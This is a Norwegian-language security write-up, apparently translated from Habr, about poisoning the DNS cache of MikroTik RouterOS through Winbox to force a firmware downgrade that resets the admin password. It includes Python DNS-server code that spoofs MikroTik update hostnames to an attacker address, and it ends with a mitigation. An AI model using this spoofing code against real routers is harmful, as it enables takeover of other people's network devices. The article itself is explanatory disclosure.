Muligheten til å eksternt nedgradere enheter basert på RouterOS (Mikrotik) setter hundretusenvis av nettverksenheter i fare. Sårbarheten er assosiert med forgiftning av DNS-cachen til Winbox-protokollen og lar deg laste utdatert (med standard tilbakestilling av passord) eller modifisert fastvare på enheten.
Sårbarhetsdetaljer
RouterOS-terminalen støtter resolve-kommandoen for DNS-oppslag.
Denne forespørselen håndteres av en binær kalt resolver. Resolver er en av mange binære filer som kobles til RouterOS sin Winbox-protokoll. På et høyt nivå kan "meldinger" sendt til Winbox-porten rutes til forskjellige binærfiler i RouterOS basert på et array-basert nummereringsskjema.
Som standard har RouterOS DNS-serverfunksjonen deaktivert.
Men selv når serverfunksjonen er deaktivert, opprettholder ruteren sin egen DNS-cache.
Når vi gjør en forespørsel ved å bruke winbox_dns_request for eksempel example.com, vil ruteren cache resultatet.
Siden vi kan spesifisere DNS-serveren som forespørselen skal gå gjennom, er det trivielt å angi feil adresser. For eksempel kan du konfigurere en DNS-serverimplementering fra
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Nå hvis du søker for eksempel.com ved hjelp av Winbox, kan du se at ruterens DNS-cache er forgiftet.
Selvfølgelig er poisoning example.com ikke veldig nyttig siden ruteren faktisk ikke vil bruke den. Ruteren må imidlertid ha tilgang til upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com og download.mikrotik.com. Og takket være en annen feil, er det mulig å forgifte dem alle på en gang.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Ruteren ber om én tillatelse, og vi gir fem tilbake. Ruteren cacher ikke alle disse svarene riktig.
Selvfølgelig er dette angrepet også nyttig hvis ruteren fungerer som en DNS-server, siden det lar klienter til ruteren bli angrepet.
Dette angrepet lar deg også utnytte en mer alvorlig sårbarhet: nedgrader eller backporter versjonen av RouterOS. Angriperen gjenskaper logikken til oppdateringsserveren, inkludert endringsloggen, og tvinger RouterOS til å oppfatte den utdaterte (sårbare) versjonen som gjeldende. Faren her ligger i det faktum at når versjonen er "oppdatert", tilbakestilles administratorpassordet til standardverdien - en angriper kan logge på systemet med et tomt passord!
Angrepet fungerer ganske bra, til tross for det
beskyttelse
Bare å deaktivere Winbox lar deg beskytte deg mot disse angrepene. Til tross for bekvemmeligheten av administrasjon via Winbox, er det bedre å bruke SSH-protokollen.
Kilde: www.habr.com